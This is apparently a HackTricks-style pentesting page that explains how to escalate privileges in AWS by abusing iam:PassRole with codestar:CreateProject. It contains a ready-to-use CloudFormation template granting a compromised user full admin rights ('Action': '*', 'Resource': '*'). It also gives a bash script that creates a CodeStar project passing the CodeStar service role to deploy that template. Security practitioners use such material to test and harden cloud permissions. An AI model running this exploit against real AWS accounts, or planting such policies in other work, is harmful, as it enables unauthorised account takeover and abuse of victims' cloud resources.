# iam:PassRole, codestar:CreateProject

{{#include ../../../../banners/hacktricks-training.md}}

With these permissions you can **abuse a codestar IAM Role** to perform **arbitrary actions** through a **cloudformation template**.

To exploit this you need to create a **S3 bucket that is accessible** from the attacked account. Upload a file called `toolchain.json` . This file should contain the **cloudformation template exploit**. The following one can be used to set a managed policy to a user under your control and **give it admin permissions**:

```json:toolchain.json
{
  "Resources": {
    "supercodestar": {
      "Type": "AWS::IAM::ManagedPolicy",
      "Properties": {
        "ManagedPolicyName": "CodeStar_supercodestar",
        "PolicyDocument": {
          "Version": "2012-10-17",
          "Statement": [
            {
              "Effect": "Allow",
              "Action": "*",
              "Resource": "*"
            }
          ]
        },
        "Users": ["<compromised username>"]
      }
    }
  }
}
```

Also **upload** this `empty zip` file to the **bucket**:

{{#file}}
empty.zip
{{#endfile}}

Remember that the **bucket with both files must be accessible by the victim account**.

With both things uploaded you can now proceed to the **exploitation** creating a **codestar** project:

```bash
PROJECT_NAME="supercodestar"

# Crecte the source JSON
## In this JSON the bucket and key (path) to the empry.zip file is used
SOURCE_CODE_PATH="/tmp/surce_code.json"
SOURCE_CODE="[
    {
        \"source\": {
            \"s3\": {
                \"bucketName\": \"privesc\",
                \"bucketKey\": \"empty.zip\"
            }
    },
        \"destination\": {
            \"codeCommit\": {
                \"name\": \"$PROJECT_NAME\"
            }
        }
    }
]"
printf "$SOURCE_CODE" > $SOURCE_CODE_PATH

# Create the toolchain JSON
## In this JSON the bucket and key (path) to the toolchain.json file is used
TOOLCHAIN_PATH="/tmp/tool_chain.json"
TOOLCHAIN="{
    \"source\": {
        \"s3\": {
            \"bucketName\": \"privesc\",
            \"bucketKey\": \"toolchain.json\"
        }
    },
    \"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\"
}"
printf "$TOOLCHAIN" > $TOOLCHAIN_PATH

# Create the codestar project that will use the cloudformation epxloit to privesc
aws codestar create-project \
    --name $PROJECT_NAME \
    --id $PROJECT_NAME \
    --source-code file://$SOURCE_CODE_PATH \
    --toolchain file://$TOOLCHAIN_PATH
```

This exploit is based on the **Pacu exploit of these privileges**: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) On it you can find a variation to create an admin managed policy for a role instead of to a user.

{{#include ../../../../banners/hacktricks-training.md}}
